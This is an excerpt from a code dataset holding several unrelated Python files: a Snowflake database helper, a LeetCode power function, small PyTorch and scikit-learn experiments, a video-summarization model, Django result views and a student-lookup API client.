\"TIMESTAMP\":\"TRY_TO_TIMESTAMP\",\n \"DATE\":\"TRY_TO_DATE\",\n \"TIME\":\"TRY_TO_TIME\",\n \"NUMBER\":\"TRY_TO_NUMBER\",\n \"BINARY\":\"TRY_TO_BINARY\",\n \"BOOLEAN\":\"TRY_TO_BOOLEAN\",\n \"CHAR\":\"TO_CHAR\",\n \"NUMERIC\":\"TRY_TO_NUMERIC\",\n \"DECIMAL\":\"TRY_TO_DECIMAL\",\n \"DOUBLE\":\"TRY_TO_DOUBLE\",\n \"TIMESTAMP\":\"TRY_TO_TIMESTAMP\"\n }\n else if 'force' argument is not given or it's set to 'False'\n sql_functions = {\n \"TIMESTAMP\":\"TO_TIMESTAMP\",\n \"DATE\":\"TO_DATE\",\n \"TIME\":\"TO_TIME\",\n \"NUMBER\":\"TO_NUMBER\",\n \"BINARY\":\"TO_BINARY\",\n \"BOOLEAN\":\"TO_BOOLEAN\",\n \"CHAR\":\"TO_CHAR\",\n \"NUMERIC\":\"TO_NUMERIC\",\n \"DECIMAL\":\"TO_DECIMAL\",\n \"DOUBLE\":\"TO_DOUBLE\",\n \"TIMESTAMP\":\"TRY_TO_TIMESTAMP\"\n }\n \"\"\"\n # use the appropriate databae and schema\n self.query_executor(\"USE SCHEMA {dn}.{sn}\".format(dn=db_name,\n sn=schema_name))\n\n # add new column with prefix 'new_'\n self.query_executor(\"ALTER TABLE {tn} ADD NEW_{cn} {dt}\"\\\n .format(tn=table_name,\n cn=column_name,\n dt=data_type))\n\n # fetch the appropriate data type conversion sql function\n function_name = self._get_data_type_conversion_function(data_type,\n force)\n\n # update the newly created column\n if function_name in [\"TO_DATE\", \"TO_TIMESTAMP\"]:\n self.query_executor(\n \"Update {tn} SET NEW_{cn} = {fn}({cn},\" + \\\n \" '{date_format}')\"\\\n .format(tn=table_name,\n cn=column_name,\n fn=function_name,\n date_format=time_format))\n else:\n self.query_executor(\"Update {tn} SET NEW_{cn} = {fn}({cn})\"\\\n .format(tn=table_name,\n cn=column_name,\n fn=function_name))\n\n if force:\n # check for count of null values in the new column\n count = self.sql_dataframe(\n \"SELECT COUNT(*) as COUNT FROM {tn} WHERE NEW_{cn} IS NULL\"\\\n .format(tn=table_name,\n cn=column_name))[\"COUNT\"][0]\n total_count = self.sql_dataframe(\n \"SELECT COUNT(*) as COUNT FROM {tn}\"\\\n .format(tn=table_name,\n cn=column_name))[\"COUNT\"][0]\n # ask for user input as to if it's okay to drop those rows\n question = \"\"\"\n Would you like to drop {cnt} rows out of {tcnt} where the values of\n NEW_{cn} are NULL to complete the data type conversion?\n \\nAnswer 'yes' or 'no'\"\"\".format(cnt=count,\n tcnt=total_count,\n cn=column_name)\n if need_confirmation:\n answer = raw_input(question)\n if answer.lower() == \"yes\":\n self.query_executor(\n \"DELETE FROM {tn} WHERE NEW_{cn} IS NULL\".format(\n tn=table_name,\n cn=column_name))\n elif answer.lower() == \"no\":\n self.query_executor(\"ALTER TABLE {tn} DROP COLUMN NEW_{cn}\"\\\n .format(tn=table_name,\n cn=column_name))\n raise ValueError(\n \"Any changes you've made have been rolled back.\")\n else:\n self.query_executor(\"DELETE FROM {tn} WHERE NEW_{cn} IS NULL\"\\\n .format(tn=table_name,\n cn=column_name))\n\n if need_confirmation:\n answer = raw_input(\n \"Does the NEW_{cn} column look good?\\nAnswer 'yes' or 'no'\"\\\n .format(cn=column_name))\n if answer.lower() == \"yes\":\n pass\n elif answer.lower() == \"no\":\n self.query_executor(\n \"ALTER TABLE {tn} DROP COLUMN NEW_{cn}\".format(\n tn=table_name,\n cn=column_name))\n raise ValueError(\n \"Any changes you've made have been rolled back.\")\n\n # drop the old column\n self.query_executor(\"ALTER TABLE {tn} DROP COLUMN {cn}\".format(\n tn=table_name,\n cn=column_name))\n\n # rename the new column to replace the old column\n self.query_executor(\"ALTER TABLE {tn} RENAME COLUMN NEW_{cn} to {cn}\".\\\n format(tn=table_name,\n cn=column_name))\n\n\n def _get_data_type_conversion_function(self, data_type, force):\n \"\"\"Gets the sql function for the given data type.\n\n Args:\n data_type: name of the desired data type in string\n Returns:\n sql_function: sql_function in string\n Raises:\n NA\n \"\"\"\n #TODO add more sql functions for different data types\n if force:\n sql_functions = {\n \"TIMESTAMP\":\"TRY_TO_TIMESTAMP\",\n \"DATE\":\"TRY_TO_DATE\",\n \"TIME\":\"TRY_TO_TIME\",\n \"NUMBER\":\"TRY_TO_NUMBER\",\n \"BINARY\":\"TRY_TO_BINARY\",\n \"BOOLEAN\":\"TRY_TO_BOOLEAN\",\n \"CHAR\":\"TO_CHAR\",\n \"NUMERIC\":\"TRY_TO_NUMERIC\",\n \"DECIMAL\":\"TRY_TO_DECIMAL\",\n \"DOUBLE\":\"TRY_TO_DOUBLE\",\n \"TIMESTAMP\":\"TRY_TO_TIMESTAMP\"\n }\n elif not force:\n sql_functions = {\n \"TIMESTAMP\":\"TO_TIMESTAMP\",\n \"DATE\":\"TO_DATE\",\n \"TIME\":\"TO_TIME\",\n \"NUMBER\":\"TO_NUMBER\",\n \"BINARY\":\"TO_BINARY\",\n \"BOOLEAN\":\"TO_BOOLEAN\",\n \"CHAR\":\"TO_CHAR\",\n \"NUMERIC\":\"TO_NUMERIC\",\n \"DECIMAL\":\"TO_DECIMAL\",\n \"DOUBLE\":\"TO_DOUBLE\",\n \"TIMESTAMP\":\"TRY_TO_TIMESTAMP\"\n }\n return sql_functions[data_type.upper()]\n\n def _create_custom_engine(self, db_name, schema_name):\n \"\"\"Creates custom engine to Snowflake.\n\n Args:\n db_name: name of the database in snowflake\n\n schema_name: name of the schema in snowflake\n Returns:\n NA\n Raises:\n NA\n \"\"\"\n url = URL(account=snowflake_creds[\"ACCOUNT\"],\n user=snowflake_creds[\"USER\"],\n password=snowflake_creds[\"PASSWORD\"],\n role=\"ACCOUNTADMIN\",\n database=db_name,\n schema=schema_name,\n numpy=True)\n custom_engine = create_engine(url, poolclass=NullPool)\n return custom_engine\n\n def _table_exists(self, table_name, schema_name, db_name):\n \"\"\"Checks to see if table exists.\n\n Args:\n table_name: name of the table in snowflake\n Returns:\n table_exists: boolean result of whether table exists or not\n Raises:\n NA\n \"\"\"\n self.query_executor(\"USE DATABASE {}\".format(db_name))\n df = self.sql_dataframe(\n \"SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE'\")\n df = df.loc[df.TABLE_SCHEMA==schema_name]\n if table_name in df.TABLE_NAME.unique():\n return True\n else:\n return False\n\n def _close_connection(self):\n \"\"\"Closes the open connection to Snowflake db.\n\n Args:\n NA\n Returns:\n NA\n Raises:\n NA\n \"\"\"\n self.connection.close()\n\n def _drop_table(self, db_name, schema_name, table_name):\n \"\"\"Drops a table from Snowflake db.\n\n Args:\n NA\n Returns:\n NA\n Raises:\n NA\n \"\"\"\n self.query_executor(\"USE SCHEMA {}.{}\".format(db_name,schema_name))\n self.query_executor(\"DROP TABLE {}\".format(table_name))\n\n def _grant_permission(self, db_name, schema_name, **kwargs):\n \"\"\"Grants permission to database objects.\n\n Args:\n db_name:\n\n schema_name:\n\n table_name:\n\n role_name:\n Returns:\n NA\n Raises:\n NA\n \"\"\"\n if \"role\" in kwargs:\n role = kwargs[\"role\"]\n else:\n role = \"BI_READ_ONLY\"\n\n self.query_executor(\"USE DATABASE {}\".format(db_name))\n self.query_executor(\n \"grant usage on schema {} to role {};\".format(schema_name, role))\n self.query_executor(\n \"grant all on all tables in schema {} to role {};\".format(\n schema_name, role))\n\n def _format_for_load(self, df):\n \"\"\"Formats the Pandas DataFrame for database load operation\n\n Args:\n df: Pandas DataFrame for formatting\n Returns:\n df: Formatted Pandas DataFrame\n Raises:\n NA\n \"\"\"\n try:\n datetime_cols = [x for x in df.columns if \"_date\" in x.lower()]\n except AttributeError as e:\n new_header = df.iloc[0]\n df = df[1:]\n df.columns = new_header\n datetime_cols = [x for x in df.columns if \"_date\" in x.lower()]\n except:\n raise ValueError(\"check your s3 object input\")\n for col in datetime_cols:\n df[col] = pd.to_datetime(df[col], errors = 'coerce')\n # if all values for the given column is na, then set it to string\n for col in df.columns:\n if df[col].isnull().all():\n df[col] = df[col].astype(str)\n return df\n\n def _get_bucket(self, filepath):\n \"\"\"Returns the relevant information regarding the s3 bucket in use\n\n Args:\n filepath: path to the flat file stored in s3\n Returns:\n dict_to_return: dictionary storing relevant information\n Raises:\n NA\n \"\"\"\n import inspect\n s3_buckets = S3Buckets()\n attributes = inspect.getmembers(s3_buckets,\n lambda a:not(inspect.isroutine(a)))\n attr_dict = {}\n for i in range(2, len(attributes)):\n attr_dict[attributes[i][1][\"prefix\"]] = i\n\n prefix = [prefix for prefix in attr_dict.keys() \\\n if(prefix in filepath)]\n if prefix:\n prefix = prefix[0]\n dict_to_return = attributes[attr_dict[prefix]][1]\n else:\n raise SnowflakeException(\"invalid filepath: not supported bucket.\"\\\n \"Contact BI to add your s3 bucket to s3_bucket configuration file\")\n return dict_to_return\n","sub_path":"bi_db/snowflake_connection.py","file_name":"snowflake_connection.py","file_ext":"py","file_size_in_byte":30237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"373596819","text":"# If n = 0, then return 1\n# If n = 1, then return x\n# Otherwise, x^n = x^n/2 * x ^n/2 if n is even\n# x^n = x^ (n-1)/2 * x^(n-1)/2 if n is odd\nclass Solution:\n def myPow(self, x: float, n: int) -> float:\n def calculatePow(x, n):\n if n == 0:\n return 1\n elif n == 1:\n return x\n else:\n m = int(n / 2)\n y = calculatePow(x, m)\n if n % 2 == 0:\n return y * y\n else:\n return y * y * x\n\n if n < 0:\n return 1 / calculatePow(x, -n)\n else:\n return calculatePow(x, n)\n","sub_path":"面试-LeetCode题/基础算法5-分治法/LeetCode50(Pow)/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"298314706","text":"from sklearn.multiclass import OneVsRestClassifier\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.multiclass import OneVsOneClassifier\nfrom sklearn.svm import LinearSVC\nfrom sklearn.svm import SVC\nimport pandas as pd\nimport numpy as np\nimport itertools as iter\nimport sys\nsys.path.insert(0, 'General_Functions_Code')\nimport PerMinData as pmd\nimport combine_labels_features as clf\nimport label_to_array as lta\n\nif __name__ == \"__main__\":\n training_df = clf.combine_files('New_Processed_Data/train_label_preprocessed3.csv',\n 'New_Processed_Data/train_feat_preprocessed2.csv')\n validation_df = clf.combine_files('New_Processed_Data/test_label_preprocessed3.csv',\n 'New_Processed_Data/test_feat_preprocessed2.csv')\n test_df = clf.combine_files('New_Processed_Data/online_test_label_preprocessed3.csv',\n 'New_Processed_Data/online_test_feat_preprocessed2.csv')\n\n features = ['HR', 'BR', 'Posture', 'Activity', 'PeakAccel',\n 'BRAmplitude', 'ECGAmplitude', 'ECGNoise', 'HRConfidence',\n 'VerticalMin', 'VerticalPeak', 'LateralMin', 'LateralPeak',\n 'SagittalMin', 'SagittalPeak', 'AuxADC1', 'AuxADC2',\n 'AuxADC3']\n feature_combinations = []\n for k in range(1, len(features)):\n feature_combinations += list(iter.combinations(features, k))\n feature_combinations = [list(x) for x in feature_combinations]\n\n # features = ['HR', 'BR', 'Posture', 'Activity', 'PeakAccel',\n # 'BRAmplitude', 'ECGAmplitude', 'ECGNoise', 'HRConfidence',\n # 'VerticalMin', 'VerticalPeak', 'LateralMin', 'LateralPeak',\n # 'SagittalMin', 'SagittalPeak', 'AuxADC1', 'AuxADC2',\n # 'AuxADC3']\n # Activity, PeakAccel, ECGAmplitude, ECGNoise, VerticalMin, LateralMin, LateralPeak, SagittalMin, SagittalPeak\n\n label_to_number_dict = {'lift': 0,\n 'lying': 1,\n 'sitting': 2,\n 'snowboarding': 3,\n 'standing': 4,\n 'towlift': 5}\n\n accuracy_list = []\n for features in feature_combinations:\n training_array = training_df[features].values\n training_labels = pd.read_csv('New_Processed_Data/train_label_preprocessed3.csv')['Label'].values\n averaged_t_array = pmd.average_per_minute(training_array)\n averaged_t_labels = np.array([label_to_number_dict[x] for x in pd.read_csv('New_Processed_Data/train_label_preprocessed2.csv')['activity'].values])\n\n validation_array = validation_df[features].values\n validation_labels = pd.read_csv('New_Processed_Data/test_label_preprocessed3.csv')['Label'].values\n averaged_v_array = pmd.average_per_minute(validation_array)\n averaged_v_labels = np.array([label_to_number_dict[x] for x in pd.read_csv('New_Processed_Data/test_label_preprocessed2.csv')['activity'].values])\n\n test_array = test_df[features].values\n test_labels = pd.read_csv('New_Processed_Data/online_test_label_preprocessed3.csv')['Label'].values\n averaged_test_array = pmd.average_per_minute(test_array)\n averaged_test_labels = np.array([label_to_number_dict[x] for x in pd.read_csv('New_Processed_Data/online_test_label_preprocessed2.csv')['activity'].values])\n\n X = averaged_t_array\n Y = averaged_t_labels\n v_X = averaged_v_array\n v_Y = averaged_v_labels\n\n\n\n prediction = OneVsRestClassifier(estimator=LinearSVC(random_state=5, max_iter=256)).fit(X, Y).predict(v_X) # i = 5, j = 256\n # prediction = MLPClassifier(solver='lbfgs', alpha=1e-5, hidden_layer_sizes=(128, 12), random_state=i, max_iter=1000).fit(X, Y).predict(v_X) # (128, 12), i = 13, 1e-1\n # prediction = OneVsOneClassifier(LinearSVC(random_state=i, max_iter=20000)).fit(X, Y).predict(v_X) # 763, i=0\n\n count = 0\n for j in range(len(v_Y)):\n if v_Y[j] == prediction[j]:\n count += 1\n accuracy_list.append(count / len(v_Y))\n print(max(accuracy_list))\n print(np.array(accuracy_list))\n print(max(accuracy_list))\n print(accuracy_list.index(max(accuracy_list)))\n","sub_path":"Tim/SKLearnStuff.py","file_name":"SKLearnStuff.py","file_ext":"py","file_size_in_byte":4276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"278096140","text":"from json import dumps as json_dumps\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.http import QueryDict\nfrom django.http.response import HttpResponse\nfrom django.shortcuts import get_object_or_404, render\n\nfrom validator.doi import get_doi_for_validation\nfrom validator.forms import PublishingForm, ResultsSortingForm\nfrom validator.models import ValidationRun\nfrom validator.validation.globals import METRICS\nfrom validator.validation.graphics import get_dataset_combis_and_metrics_from_files\n\nfrom collections import OrderedDict\n\n\n@login_required(login_url='/login/')\ndef user_runs(request):\n current_user = request.user\n\n sorting_form, order = ResultsSortingForm.get_sorting(request)\n\n page = request.GET.get('page', 1)\n cur_user_runs = (\n ValidationRun.objects.filter(user=current_user)\n .order_by(order)\n )\n\n paginator = Paginator(cur_user_runs, 10)\n try:\n paginated_runs = paginator.page(page)\n except PageNotAnInteger:\n paginated_runs = paginator.page(1)\n except EmptyPage:\n paginated_runs = paginator.page(paginator.num_pages)\n\n context = {\n 'myruns': paginated_runs,\n 'sorting_form': sorting_form,\n }\n return render(request, 'validator/user_runs.html', context)\n\n\ndef result(request, result_uuid):\n val_run = get_object_or_404(ValidationRun, pk=result_uuid)\n if(request.method == 'DELETE'):\n ## make sure only the owner of a validation can delete it (others are allowed to GET it, though)\n if(val_run.user != request.user):\n return HttpResponse(status=403)\n\n ## check that our validation can be deleted; it can't if it already has a DOI\n if(not val_run.is_unpublished):\n return HttpResponse(status=405) #405\n\n val_run.delete()\n return HttpResponse(\"Deleted.\", status=200)\n\n elif(request.method == 'PATCH'):\n ## make sure only the owner of a validation can change it (others are allowed to GET it, though)\n\n if(val_run.user != request.user):\n return HttpResponse(status=403)\n\n patch_params = QueryDict(request.body)\n\n if 'save_name' in patch_params:\n ## check that our validation's name can be changed'; it can't if it already has a DOI\n if (not val_run.is_unpublished):\n return HttpResponse('Validation has been published', status=405)\n\n save_mode = patch_params['save_name']\n\n if save_mode != 'true':\n return HttpResponse(\"Wrong action parameter.\", status=400)\n\n val_run.name_tag = patch_params['new_name']\n val_run.save()\n\n return HttpResponse(\"Changed.\", status=200)\n\n\n if 'archive' in patch_params:\n archive_mode = patch_params['archive']\n\n if not ((archive_mode == 'true') or (archive_mode == 'false')):\n return HttpResponse(\"Wrong action parameter.\", status=400)\n\n val_run.archive(unarchive = (archive_mode == 'false'))\n return HttpResponse(\"Changed.\", status=200)\n\n if 'extend' in patch_params:\n extend = patch_params['extend']\n\n if extend != 'true':\n return HttpResponse(\"Wrong action parameter.\", status=400)\n\n val_run.extend_lifespan()\n return HttpResponse(val_run.expiry_date, status=200)\n\n if 'publish' in patch_params:\n publish = patch_params['publish']\n\n # check we've got the action set correctly\n if publish != 'true':\n return HttpResponse(\"Wrong action parameter.\", status=400)\n\n # check that the publication parameters are valid\n pub_form = PublishingForm(data=patch_params, validation=val_run)\n if not pub_form.is_valid():\n # if not, send back an updated publication form with errors set and http code 420 (picked up in javascript)\n return render(request, 'validator/publishing_dialog.html', {'publishing_form': pub_form, 'val': val_run}, status=420)\n\n try:\n get_doi_for_validation(val_run, pub_form.pub_metadata)\n except Exception as e:\n m = getattr(e, 'message', repr(e))\n return HttpResponse(m, status=400)\n\n return HttpResponse(\"Published.\", status=200)\n\n return HttpResponse(\"Wrong action parameter.\", status=400)\n\n # by default, show page\n else:\n ## tell template whether it's the owner of the validation - to show action buttons\n is_owner = (val_run.user == request.user)\n\n ## TODO: get time in format like '2 minutes', '5 hours'\n run_time = None\n if val_run.end_time is not None:\n run_time = val_run.end_time - val_run.start_time\n run_time = (run_time.days * 1440) + (run_time.seconds // 60)\n\n error_rate = 1\n if val_run.total_points != 0:\n error_rate = (val_run.total_points - val_run.ok_points) / val_run.total_points\n\n pairs, triples, metrics, ref0_config = get_dataset_combis_and_metrics_from_files(val_run)\n combis = OrderedDict(sorted({**pairs, **triples}.items()))\n # the publication form is only needed by the owner; if we're displaying for another user, avoid leaking user data\n pub_form = PublishingForm(validation=val_run) if is_owner else None\n\n metrics = OrderedDict(sorted([(v, k) for k, v in metrics.items()]))\n\n context = {\n 'is_owner': is_owner,\n 'val' : val_run,\n 'error_rate' : error_rate,\n 'run_time': run_time,\n 'metrics': metrics,\n 'combis': combis,\n 'json_metrics': json_dumps(METRICS),\n 'publishing_form': pub_form\n }\n\n return render(request, 'validator/result.html', context)\n","sub_path":"validator/views/results.py","file_name":"results.py","file_ext":"py","file_size_in_byte":5911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"538736312","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Apr 26 17:24:24 2020\r\n\r\n@author: Harsh Chaudhary\r\n\"\"\"\r\n\r\nimport torch\r\nfrom torch import nn, optim\r\n\r\n\r\ndata = torch.Tensor([[0, 0], [0, 1], [1, 0], [1, 1]])\r\nlabel = torch.Tensor([[0], [0], [0], [1]])\r\n\r\nclass AND_GATE(nn.Module):\r\n def __init__(self):\r\n super(AND_GATE, self).__init__()\r\n \r\n self.fc1 = nn.Linear(2, 1)\r\n #self.fc2 = nn.Linear(3, 1)\r\n \r\n def forward(self, x):\r\n x = torch.sigmoid(self.fc1(x))\r\n #x = self.fc2(x)\r\n return x\r\n\r\nmodel = AND_GATE()\r\ncriterion = nn.MSELoss()\r\noptimizer = optim.SGD(model.parameters(), lr = 1)\r\n\r\nepochs = 1000\r\nfor e in range(epochs):\r\n train_loss = 0\r\n\r\n output = model(data)\r\n loss = criterion(output, label)\r\n \r\n train_loss += loss.item()\r\n optimizer.zero_grad()\r\n loss.backward()\r\n optimizer.step()\r\n \r\n if e%100==0:\r\n print('epoch {}: Training loss: {:.4f}'.format(e+1, train_loss))\r\n\r\ndef test(a, b):\r\n input_values = torch.Tensor([[a, b]])\r\n output = model(input_values)\r\n print(list(map(fun, output)))\r\n\r\ndef fun(x):\r\n if x>0.5:\r\n return 1\r\n return 0\r\n","sub_path":"AND_GATE.py","file_name":"AND_GATE.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"574170228","text":"# -*- coding: utf-8 -*-\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\n\nfrom .lstmcell import StackedLSTMCell\n\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\n\n\n# class sLSTM(nn.Module):\n# def __init__(self, input_size, hidden_size, num_layers=2):\n# \"\"\"Scoring LSTM\"\"\"\n# super().__init__()\n#\n# self.lstm = nn.LSTM(input_size, hidden_size, num_layers, bidirectional=True)\n# self.out = nn.Sequential(\n# nn.Linear(hidden_size * 2, 1), # bidirection => scalar\n# nn.Sigmoid())\n#\n# def forward(self, features, difference_attention, init_hidden=None):\n# \"\"\"\n# Args:\n# features: [seq_len, 1, 100] (compressed pool5 features)\n# Return:\n# scores [seq_len, 1]\n# \"\"\"\n# self.lstm.flatten_parameters()\n#\n# # [seq_len, 1, hidden_size * 2]\n# features, (h_n, c_n) = self.lstm(features)\n#\n# # [seq_len, 1]\n# scores = self.out(features.squeeze(1))\n# return scores\n\nclass sLSTM(nn.Module):\n def __init__(self, input_size, hidden_size=256, num_layers=2, m=4, video_type='summe'):\n super().__init__()\n self.out = nn.Sigmoid()\n\n if video_type == 'summe':\n self.nframes = 9721\n else:\n self.nframes = 19406\n\n self.fc2 = nn.Linear(self.nframes, self.nframes)\n self.fc2.weight.data.normal_(0, 1)\n if self.fc2.bias.data is not None:\n self.fc2.bias.data.zero_()\n\n self.fc_last = nn.Sequential(\n self.fc2,\n nn.Sigmoid())\n\n self.csnet_objects = CSNET(input_size, hidden_size, num_layers, m, video_type)\n self.csnet_places = CSNET(input_size, hidden_size, num_layers, m, video_type)\n self.out = nn.Sigmoid()\n\n def forward(self, features, places365_features, difference_attention):\n obj_cm, obj_sm, obj_dt = self.csnet_objects(features, difference_attention['objects'])\n places365_cm, places365_sm, places365_dt = self.csnet_places(places365_features, difference_attention['places'])\n\n #intermmediate fusion\n # sum scores\n cm_scores = obj_cm + places365_cm\n sm_scores = obj_sm + places365_sm\n # sum attentions\n difference_attention = obj_dt + places365_dt\n scores = self.out(sm_scores + cm_scores + difference_attention)\n rest = torch.zeros(int(self.nframes - scores.size(0))).to(device)\n scores = torch.cat((scores, rest))\n self.fc2.weight.data[features.size(0):, :] = torch.zeros(self.fc2.weight.data[features.size(0):, :].size())\n scores = self.fc_last(scores)\n scores = scores[0:features.size(0)]\n return scores.unsqueeze(1)\n\n\nclass CSNET(nn.Module):\n def __init__(self, input_size, hidden_size=256, num_layers=2, m=4, video_type='summe'):\n \"\"\"Scoring LSTM\"\"\"\n super().__init__()\n self.m = m\n self.lstm = nn.LSTM(input_size, hidden_size, num_layers, bidirectional=True)\n self.fc = nn.Linear(hidden_size * 2, 1) # bidirection => scalar\n\n\n def forward(self, features, difference_attention):\n self.lstm.flatten_parameters()\n\n # [seq_len, 1, hidden_size * 2]\n # strides stream\n sm_idxs = self.compute_sm(features)\n sm_idxs = self.flatten(list(sm_idxs.values()))\n\n sm_scores = torch.zeros(features.size(0)).to(device)\n sm = features[sm_idxs]\n sm, (h_n, c_n) = self.lstm(sm)\n sm = self.fc(sm)\n for idx, out in zip(sm_idxs, sm):\n sm_scores[idx] = out\n\n # chunks stream\n cm_idxs = self.compute_cm(features)\n cm_idxs = self.flatten(list(cm_idxs.values()))\n\n cm_scores = torch.zeros(features.size(0)).to(device)\n cm = features[cm_idxs]\n cm, (h_n, c_n) = self.lstm(cm)\n cm = self.fc(cm)\n for idx, out in zip(cm_idxs, cm):\n cm_scores[idx] = out\n # cm_scores.unsqueeze_(1)\n difference_attention = difference_attention.squeeze(1)\n return cm_scores, sm_scores, difference_attention\n\n # stride streams\n # [Eq. 4]\n def compute_sm(self, image_features):\n T = image_features.size(0)\n M = k = self.m\n sm_idxs = {}\n for m in range(M):\n end = m + T - k\n idxs = []\n for i in range(0, T):\n val = i * k + m\n if val >= end:\n idxs.append(end)\n break\n else:\n idxs.append(val)\n sm_idxs[m] = idxs\n return sm_idxs\n\n # chunk streams\n # [Eq. 3]\n def compute_cm(self, image_features):\n T = image_features.size(0)\n n_chunks = self.m\n cm_idxs = {}\n for m in range(1, n_chunks + 1):\n fraction = torch.tensor(T / n_chunks)\n start = (m - 1) * torch.ceil(fraction)\n end = m * torch.ceil(fraction) - 1\n idxs = []\n for i in range(T):\n if i >= start and i <= end:\n idxs.append(i)\n # print('m {}, start {}, end {}'.format(m, start, end))\n # print(idxs)\n cm_idxs[m] = idxs\n return cm_idxs\n\n def flatten(self, t):\n return [item for sublist in t for item in sublist]\n\n\nclass eLSTM(nn.Module):\n def __init__(self, input_size, hidden_size, num_layers=2):\n \"\"\"Encoder LSTM\"\"\"\n super().__init__()\n\n self.lstm = nn.LSTM(input_size, hidden_size, num_layers)\n\n self.linear_mu = nn.Linear(hidden_size, hidden_size)\n self.linear_var = nn.Linear(hidden_size, hidden_size)\n\n def forward(self, frame_features):\n \"\"\"\n Args:\n frame_features: [seq_len, 1, hidden_size]\n Return:\n last hidden\n h_last [num_layers=2, 1, hidden_size]\n c_last [num_layers=2, 1, hidden_size]\n \"\"\"\n self.lstm.flatten_parameters()\n _, (h_last, c_last) = self.lstm(frame_features)\n\n return (h_last, c_last)\n\n\nclass dLSTM(nn.Module):\n def __init__(self, input_size=2048, hidden_size=2048, num_layers=2):\n \"\"\"Decoder LSTM\"\"\"\n super().__init__()\n\n self.lstm_cell = StackedLSTMCell(num_layers, input_size, hidden_size)\n self.out = nn.Linear(hidden_size, input_size)\n\n def forward(self, seq_len, init_hidden):\n \"\"\"\n Args:\n seq_len (int)\n init_hidden\n h [num_layers=2, 1, hidden_size]\n c [num_layers=2, 1, hidden_size]\n Return:\n out_features: [seq_len, 1, hidden_size]\n \"\"\"\n\n batch_size = init_hidden[0].size(1)\n hidden_size = init_hidden[0].size(2)\n\n x = Variable(torch.zeros(batch_size, hidden_size)).to(device)\n h, c = init_hidden # (h_0, c_0): last state of eLSTM\n\n out_features = []\n for i in range(seq_len):\n # last_h: [1, hidden_size] (h from last layer)\n # last_c: [1, hidden_size] (c from last layer)\n # h: [2=num_layers, 1, hidden_size] (h from all layers)\n # c: [2=num_layers, 1, hidden_size] (c from all layers)\n (last_h, last_c), (h, c) = self.lstm_cell(x, (h, c))\n x = self.out(last_h)\n out_features.append(last_h)\n # list of seq_len '[1, hidden_size]-sized Variables'\n return out_features\n\n\nclass VAE(nn.Module):\n def __init__(self, input_size, hidden_size, num_layers=2):\n super().__init__()\n self.e_lstm = eLSTM(input_size, hidden_size, num_layers)\n self.d_lstm = dLSTM(input_size, hidden_size, num_layers)\n\n self.softplus = nn.Softplus()\n\n def reparameterize(self, mu, log_variance):\n \"\"\"Sample z via reparameterization trick\n Args:\n mu: [num_layers, hidden_size]\n log_var: [num_layers, hidden_size]\n Return:\n h: [num_layers, 1, hidden_size]\n \"\"\"\n std = torch.exp(0.5 * log_variance)\n\n # e ~ N(0,1)\n epsilon = Variable(torch.randn(std.size())).to(device)\n\n # [num_layers, 1, hidden_size]\n return (mu + epsilon * std).unsqueeze(1)\n\n def forward(self, features):\n \"\"\"\n Args:\n features: [seq_len, 1, hidden_size]\n Return:\n h: [2=num_layers, 1, hidden_size]\n decoded_features: [seq_len, 1, 2048]\n \"\"\"\n seq_len = features.size(0)\n\n # [num_layers, 1, hidden_size]\n h, c = self.e_lstm(features)\n\n # [num_layers, hidden_size]\n h = h.squeeze(1)\n\n # [num_layers, hidden_size]\n h_mu = self.e_lstm.linear_mu(h)\n h_log_variance = torch.log(self.softplus(self.e_lstm.linear_var(h)))\n\n # [num_layers, 1, hidden_size]\n h = self.reparameterize(h_mu, h_log_variance)\n\n # [seq_len, 1, hidden_size]\n decoded_features = self.d_lstm(seq_len, init_hidden=(h, c))\n\n # [seq_len, 1, hidden_size]\n # reverse\n decoded_features.reverse()\n decoded_features = torch.stack(decoded_features)\n return h_mu, h_log_variance, decoded_features\n\n\nclass Summarizer(nn.Module):\n def __init__(self, input_size, hidden_size, num_layers=2, m=4, video_type='summe'):\n super().__init__()\n self.s_lstm = sLSTM(input_size, hidden_size, num_layers, m, video_type)\n # self.csnet = CSNET(input_size, hidden_size, num_layers)\n self.vae = VAE(input_size, hidden_size, num_layers)\n\n def forward(self, image_features, places365_features, difference_attention, uniform=False):\n # Apply weights\n if not uniform:\n # [seq_len, 1]\n scores = self.s_lstm(image_features, places365_features, difference_attention)\n # scores = self.csnet(image_features, difference_attention)\n # print(scores)\n\n # [seq_len, 1, hidden_size]\n weighted_features = image_features * scores.view(-1, 1, 1)\n else:\n scores = None\n weighted_features = image_features\n\n h_mu, h_log_variance, decoded_features = self.vae(weighted_features)\n\n return scores, h_mu, h_log_variance, decoded_features\n\n\nif __name__ == '__main__':\n pass\n","sub_path":"mcsf-intermediate-fusion/layers/summarizer.py","file_name":"summarizer.py","file_ext":"py","file_size_in_byte":10229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"440738179","text":"# -*- coding: utf-8 -*-\nfrom django.conf import settings\nimport requests\n\nfrom django.contrib.auth import get_user_model\n\n\ndef find_student(identifier):\n response = requests.get(\n f'https://kobra.karservice.se/api/v1/students/{identifier}/',\n headers={'Authorization': f'Token {settings.KOBRA_API_TOKEN}'})\n\n if response.status_code == 200:\n return response.json()\n else:\n return None\n\n\ndef create_or_update_user(payload):\n \"\"\"\n Takes a Kobra payload and creates or updates a user in the database.\n \"\"\"\n return get_user_model().objects.update_or_create(\n username=payload['liu_id'],\n defaults=dict(\n email=payload['email'],\n first_name=payload['first_name'],\n last_name=payload['last_name']\n 